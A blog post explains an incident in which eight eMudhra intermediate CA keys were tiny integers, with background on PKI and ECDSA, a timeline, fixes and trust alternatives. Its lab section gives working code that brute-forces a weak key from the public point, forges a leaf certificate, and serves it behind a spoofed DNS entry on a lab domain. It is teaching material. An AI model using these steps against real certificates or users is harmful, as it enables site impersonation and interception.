Skip to content

Cryptographic skills issues at eMudhra

In October 2026, researchers discovered that 8 private keys of intermediate certificates from the eMudhra authority were extremely weak. One of them was the simple integer 4, where you expect a random number of about 384 bits. The flaw let anyone forge valid HTTPS certificates and impersonate trusted sites.

An ECDSA private key is a single number, the scalar d. What is published in the certificate is the public key, a curve point computed from d. The whole problem comes from there d was to tiny in this case.

Here are the eight private keys, they are literally these integers :

d = 4, 56, 66, 115, 155, 156, 230, 237

Technical origin : PKI and certificate authorities

The chain of trust

When your browser opens a page over HTTPS, it wants to make sure that the communication is encrypted, and that it is really talking to the right server. It is the second point that interests us. It relies on a chain of signatures.

Root CA : pre-installed in the browser, signs :

   Intermediate CA : the authority that signs day to day :

      Site certificate : banque.example.com

The browser ships with a store of trusted roots, a few hundred authorities. It only trusts them. A root signs intermediates, an intermediate signs the site certificates. To validate banque.example.com, the browser goes back up the chain. The site certificate is signed by an intermediate, itself signed by a root that it knows. If everything matches, green padlock (so it does not need a request to fetch the intermediate public key).

An intermediate is a CA. Its private key is used to sign certificates. So anyone who has this key can sign a valid certificate for any domain : google.com, your bank, whatever you want. The browser will accept it, since the chain goes back up to a trusted root.

This is exactly what happened. The eMudhra root was not compromised. But eight of its intermediates had a private key that anyone could recover. Having the key of an intermediate is enough.

ECDSA in two lines, to understand the "4"

The keys in question are ECDSA keys on the P-384 curve (for the basics on elliptic curves, see my article Introduction to cryptography).

An ECDSA private key is an integer d picked at random between 1 and the order of the curve, a number close to 2^384. The public key is the point Q = d x G, where G is the generator of the curve. Q is published in the certificate.

The whole security holds on a single thing : recovering d from Q (the discrete logarithm) is impossible as long as d is a large random number.

The incident

Timeline

  • April 30, 2025 : Generation ceremony of 24 intermediates. A script bug produces a second set of keys, weaker ones. Because of similar labels, the weak keys are kept to sign.

  • October 17, 2026 : A researcher (Wayne) spots the anomaly while auditing the CCADB (the common CA database). Mozilla recomputes the keys the same day.

  • October 17-20 : Chrome, Mozilla, Apple and Microsoft block the certificates. Mozilla also removes the "emSign ECC Root CA - G3" root.

The technical problem

The root of the problem is randomness. An ECDSA private key must be an integer picked uniformly in a huge space. The script produced tiny scalars. From there, the public key is still mathematically valid (Q = d x G does exist), the certificate is signed and installed normally.

And since certificates and their public keys are, by design, public (they are in the Certificate Transparency logs), everyone could start testing it.

Lab : impersonate a site over HTTPS

Having the key of an intermediate means you can forge a certificate that the browser will accept. But the victim traffic still has to reach your server. This is the second half of the attack, and it goes through a lying DNS, ARP poisoning, rogue WiFi, BGP hijack.

The clearest case is the DNS. Here is an example of how an attack could go with a certificate that is too weak.

We rebuild the broken PKI

We create a healthy root, then an intermediate whose private scalar is 4. In Python with the right library, forcing a scalar fits in one line :

# random 384-bit scalar
root_key = ec.generate_private_key(ec.SECP384R1())

# we force d = 4
inter_key = ec.derive_private_key(4, ec.SECP384R1())
$ python3 gen/generate_pki.py
Root          : CN=eMudhra Lab Root CA (healthy key)
Intermediate  : CN=EM OV TLS CA - LAB (weak key)
Expected private scalar : a random integer of about 384 bits
Actual private scalar   : d = 4
Public point Q = d*G, x coord. = 0x138251cd52ac9298c1c8aad977321deb ...

The attacker recovers the private key

He only has the public certificate of the intermediate, the one everyone can read. He enumerates the small integers until he lands back on the right public point :

for d in range(1, 1024):
    if ec.derive_private_key(d, CURVE).public_key().public_numbers() == target:
        break
$ python3 gen/recover_key.py
Private key recovered : d = 4
Number of tries       : 4
Compute time          : 1.8 ms
Written               : certs/intermediate_recovered.key

Four tries. On a healthy key, this loop would never find anything.

The attacker forges a certificate

With the recovered key, he signs a certificate for banque-demo.local, a domain he does not own.

$ python3 gen/forge_leaf.py
Forged certificate for : banque-demo.local
Signed by              : CN=EM OV TLS CA - LAB
Valid until            : 2027-10-25
Written                : certs/leaf.pem, certs/leaf.key, certs/fullchain.pem

Lying DNS and rogue server

The rogue DNS (dnsmasq) is only there to lie about one entry :

address=/banque-demo.local/172.28.0.80

And nginx presents the forged certificate :

ssl_certificate     /certs/fullchain.pem;
ssl_certificate_key /certs/leaf.key;

The client only trusts the root, like a real browser only trusts the roots of its store. Its DNS resolver is the attacker's one.

$ dig +short banque-demo.local @172.28.0.53
172.28.0.80

$ curl -v --cacert root.pem https://banque-demo.local/
*   Trying 172.28.0.80:443...
*  subject: CN=banque-demo.local
*  issuer: CN=EM OV TLS CA - LAB
*  SSL certificate verify ok.
< HTTP/1.1 200 OK

SSL certificate verify ok : the DNS sent the victim to the rogue server, and the forged certificate is accepted because it goes back up to a trusted root.

The fix

The immediate fix is the revocation of the eight intermediates, which was done as fast as possible.

Revocation (CRL, OCSP) and the update of the root stores did their job on the browser side. An up to date browser is protected within a few days.

Anything that checks neither revocation nor CT stays exposed much longer. For example SDK and API clients, containers, CI pipelines, connected objects, embedded hardware stay exposed as long as their store is not updated.

This event made people lose a bit of trust in this system, even though it is known as robust. As a reminder, here are some of the measures put in place for the security of the system :

  • Certificate Transparency : public, append-only logs of all issued certificates.

  • CAA : a DNS record that says "only this CA is allowed to issue for my domain".

  • Very short-lived certificates and automation (ACME) : if a key leaks, the exploitation window is small, and rotation is free.

It is exactly this set of measures that allowed the fast detection and fix. But can we make this system less centralized ?

Alternative

Yes, but it moves the problem more than it solves it.

Trust On First Use (SSH, Signal) :

On the first connection you accept the key, then you memorize it and you refuse connection if it changes. Simple and powerfull, except on the first connection, where you are exactly vulnerable to the lab attack. Signal fixes this with a security number that you need check visually.

DANE and DNSSEC

You put the certificate fingerprint directly in the DNS, signed by DNSSEC. On the surface you no longer need a CA, but in fact DNSSEC is itself a hierarchical PKI, with a single root.

Blockchain, DID, decentralized PKI

You spread trust through consensus, no more single link to corrupt. It is slower and moves the trust to the consensus of the validators. Still experimental.


Sources

  • BleepingComputer, "Mozilla, Google, Apple block compromised eMudhra CA certificates"

  • CSO Online, "Google, Mozilla revoke eMudhra intermediates after private key compromise"

  • Help Net Security, "eMudhra security blunder left trusted CA signing keys exposed to anyone"

  • SOCRadar, "eMudhra CA key compromise : weak keys, risks and fixes"

  • Inc42, "eMudhra weak link tests India's chain of digital trust"

  • Business Today, "MeitY on eMudhra security incident : Indian DSC and eSign unaffected"